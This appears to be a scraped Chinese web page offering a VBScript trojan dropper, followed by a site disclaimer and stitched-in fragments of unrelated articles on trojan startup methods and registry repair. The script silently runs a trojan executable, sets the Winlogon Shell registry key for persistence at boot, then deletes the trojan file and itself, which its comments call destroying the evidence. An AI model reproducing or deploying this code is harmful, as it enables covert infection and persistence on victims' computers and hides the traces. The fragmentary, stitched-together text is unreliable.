时间:2021-05-22
呵呵~不过别人一般没这个闲工夫检查那么多位置的!就连我也做不到~~
复制代码 代码如下:
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "%windir%\flumasko.exe",0 //运行木马程序
set sm=Wscript.CreateObject("WScript.Shell")
sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
//写进注册表项实现自启动
set WshShell=WScript.CreateObject("WScript.Shell")
WScript.Sleep 2000
//等木马的执行完毕
Set fso=CreateObject("Scripting.FileSystemObject")
f=fso.DeleteFile ("flumasko.exe")
f=fso.DeleteFile (WScript.ScriptName)
//毁尸灭迹
再修改下图标就大功告成了!
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
运行后会在%windir%\system32\目录下生成jk.vbs,并且自动添加注册表启动项,另外在D:\会生成一个隐藏属性的JK.VBS,3秒间隔监控进程,
本文以C#为例讲解木马程序的实现过程。要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面就针对这三方面做介绍:
电脑的下面一栏点不了的问题是: 1、操作不当或者软件BUG导致的系统出错,引起注册表部分键值失效。 2、恶意软件或者病毒木马蓄意篡改了系统注册表,导致任务栏
木马的最大的特点之一就是它一定是要和系统一起启动而启动,否则它就完全失去了意义!下面为大家介绍一下它的几种隐藏启动的方法: 方法一:注册表启动项:这个大家可能
自从微软发布了Windows之后就有了一个注册表这个东东,说实才的,这个东东真的不是很安全,一些木马程序动不动就修改注册表来控制我们的电脑,这就需要我们或多或少